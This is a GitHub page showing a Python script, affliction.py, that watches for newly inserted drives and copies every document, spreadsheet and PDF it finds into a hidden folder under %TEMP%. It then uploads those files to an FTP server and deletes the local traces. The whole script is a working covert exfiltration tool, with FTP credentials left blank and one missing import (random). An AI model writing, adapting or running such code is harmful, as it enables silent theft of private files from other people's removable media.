This repository has been archived by the owner on Jul 21, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
affliction.py
94 lines (73 loc) · 2.57 KB
/
affliction.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import os
import time
import hashlib
import fnmatch
import subprocess
from ftplib import FTP
getDisk = lambda: " ".join(subprocess.check_output("wmic logicaldisk get name".split(' ')).decode("utf-8").split(' ')[2:]).replace('\n', '').replace('\r', '').replace (' ', '').split(':')[:-1]
def checkNewDisk():
begin = getDisk()
while getDisk() == begin:
time.sleep(0.1)
return [disk for disk in getDisk() if disk not in begin]
def findDocument(drive):
result = []
for root, _, filenames in os.walk("%s:\\" % (drive)):
for filename in fnmatch.filter(filenames, "*.odt") + fnmatch.filter(filenames, "*.doc") + fnmatch.filter(filenames, "*.docx") + fnmatch.filter(filenames, "*.xls") + fnmatch.filter(filenames, "*.xlsx") + fnmatch.filter(filenames, "*.pdf"):
result.append(os.path.join(root, filename))
return result
def copyToHDD(tocopy):
if not os.path.isdir("%s\\affliction" % (os.environ["TEMP"])):
os.mkdir("%s\\affliction" % (os.environ["TEMP"]))
os.system("attrib +h %s\\affliction" % (os.environ["TEMP"]))
for files in tocopy:
os.system("copy \"%s\" \"%s\\affliction\\\" > NUL" % (files, os.environ["TEMP"]))
def afflictionEmpty():
if os.path.isdir("%s\\affliction" % (os.environ["TEMP"])):
listdir = os.listdir("%s\\affliction" % (os.environ["TEMP"]))
return [file for file in listdir if os.path.isfile("%s\\affliction\\%s" % (os.environ["TEMP"], file))]
else:
return False
# ~ Copier d'internet
def getFtpMd5(ftp, remote_path):
m = hashlib.md5()
ftp.retrbinary('RETR %s' % remote_path, m.update)
return m.hexdigest()
def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
# ~
def HDDToFTP():
HOST = ""
USERNAME = ""
PASSWORD = ""
ftp = FTP(HOST, USERNAME, PASSWORD)
files = ftp.nlst("htdocs/OpenLetter")[2:]
ftp.cwd("htdocs/OpenLetter")
os.chdir("%s\\affliction" % (os.environ["TEMP"]))
onHDD = os.listdir()
for file in onHDD:
toCopy = True
if file in files:
if md5(file) != getFtpMd5(ftp, file):
os.rename(file, "%s%d.%s" % ('.'.join(file.split('.')[0:-1]), random.randint(0,999), file.split('.')[-1]))
else:
toCopy = False
if toCopy:
fichier = open(file, 'rb')
ftp.storbinary("STOR %s" % (file), fichier, 1024)
fichier.close()
os.remove(file)
ftp.quit()
if __name__ == "__main__":
while True:
newDisk = checkNewDisk()
directory = afflictionEmpty()
if directory:
HDDToFTP()
for letter in newDisk:
copyToHDD(findDocument(letter))
HDDToFTP()